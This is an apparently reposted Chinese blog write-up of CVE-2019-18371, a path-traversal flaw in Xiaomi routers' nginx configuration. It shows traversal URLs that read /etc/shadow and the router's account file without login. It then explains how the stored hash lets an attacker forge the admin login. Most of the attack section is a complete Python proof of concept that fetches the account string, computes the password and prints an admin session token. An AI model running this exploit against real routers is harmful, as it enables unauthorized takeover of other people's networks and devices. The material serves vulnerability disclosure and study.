小米路由器http文件服务器,小米路由器远程任意文件读取漏洞(CVE-2019-18371)

## 远程任意文件读取漏洞(CVE-2019-18371)

#### 小米路由器的nginx配置文件错误,导致目录穿越漏洞,实现任意文件读取(无需登录)

nginx配置不当可导致目录穿越漏洞,

```

location /xxx {

alias /abc/;

}

```

可通过访问`http://domain.cn/xxx../etc/passwd`实现目录穿越访问上级目录及其子目录文件。

在小米路由器的文件`/etc/sysapihttpd/sysapihttpd.conf`中,存在

```

location /api-third-party/download/extdisks {

alias /extdisks/;

}

```

故可以任意文件读取根目录下的所有文件,而且是root权限,如访问`http://192.168.31.1/api-third-party/download/extdisks../etc/shadow`

![](https://images.seebug.org/1578917261859-w331s)

类似的问题,存在多处如

```

location /backup/log {

alias /tmp/syslogbackup/;

}

location /api-third-party/download/public {

alias /userdisk/data/;

}

location /api-third-party/download/private {

alias /userdisk/appdata/;

}

```

#### 通过任意文件读取,登录路由器后台

不是明文存储密码,进行一定分析。关注两个过程,一是登录时前端js生成http post请求参数过程,二是验证用户登陆的后端过程。

- 登录时前端js生成http post请求参数过程

```

var Encrypt = {

key: 'a2ffa5c9be07488bbb04a3a47d3c5f6a',

iv: '64175472480004614961023454661220',

nonce: null,

init: function(){

var nonce = this.nonceCreat();

this.nonce = nonce;

return this.nonce;

},

nonceCreat: function(){

var type = 0;

// 自己的mac地址

var deviceId = '';

var time = Math.floor(new Date().getTime() / 1000);

var random = Math.floor(Math.random() * 10000);

return [type, deviceId, time, random].join('_');

},

oldPwd : function(pwd){ // oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))

return CryptoJS.SHA1(this.nonce + CryptoJS.SHA1(pwd + this.key).toString()).toString();

},

//...

};

```

可知`oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))`,登陆请求包为

```

POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1

Host: 192.168.31.1

username=admin&password=c9e62da7b8a0b7a4918c5a90912ba81a9717f9ab&logtype=2&nonce=0_mac地址_时间戳_5248

```

- 验证用户登陆的后端过程

调用`XQSecureUtil.checkUser`函数

```

function checkUser(user, nonce, encStr)

-- 从xiaoqiang 配置文件中读取信息

local password = XQPreference.get(user, nil, "account")

if password and not XQFunction.isStrNil(encStr) and not XQFunction.isStrNil(nonce) then

if XQCryptoUtil.sha1(nonce..password) == encStr then

return true

end

end

XQLog.log(4, (luci.http.getenv("REMOTE_ADDR") or "").." Authentication failed", nonce, password, encStr)

return false

end

```

跟进`XQPreference.get`函数易知道是从`/etc/config/account`文件中读取某个字符串,这里称它为`accountStr`。

`checkUser`函数判断等式为(encStr为参数oldPwd)

```

sha1(nonce + sha1(密码 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))

==

sha1(nonce + accountStr)

```

```

accountStr == sha1(密码 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')

```

故,只需要读取`/etc/config/account`得到`accountStr`即可构造如下数据包登陆

```

POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1

Host: 192.168.31.1

username=admin&password=sha1(nonce + account中保存的字符串)&logtype=2&nonce=0_mac地址_时间戳_5248

```

实现任意登陆poc

arbitrary_file_read_vulnerability.py

```

import os

import re

import time

import base64

import random

import hashlib

import requests

from Crypto.Cipher import AES

# proxies = {"http":"http://127.0.0.1:8080"}

proxies = {}

def get_mac():

## get mac

r0 = requests.get("http://192.168.31.1/cgi-bin/luci/web", proxies=proxies)

mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0]

# print(mac)

return mac

def get_account_str():

## read /etc/config/account

r1 = requests.get("http://192.168.31.1/api-third-party/download/extdisks../etc/config/account", proxies=proxies)

print(r1.text)

account_str = re.findall(r'admin\'? \'(.*)\'', r1.text)[0]

return account_str

def create_nonce(mac):

type_ = 0

deviceId = mac

time_ = int(time.time())

rand = random.randint(0,10000)

return "%d_%s_%d_%d"%(type_, deviceId, time_, rand)

def calc_password(nonce, account_str):

m = hashlib.sha1()

m.update((nonce + account_str).encode('utf-8'))

return m.hexdigest()

mac = get_mac()

account_str = get_account_str()

## login, get stok

nonce = create_nonce(mac)

password = calc_password(nonce, account_str)

data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)

r2 = requests.post("http://192.168.31.1/cgi-bin/luci/api/xqsystem/login",

data = data,

headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",

"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"},

proxies=proxies)

# print(r2.text)

stok = re.findall(r'"token":"(.*?)"',r2.text)[0]

print("stok="+stok)

```

![](https://images.seebug.org/1578917272425-w331s)

可以获取到登录的stok。

loading-bars.svg

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值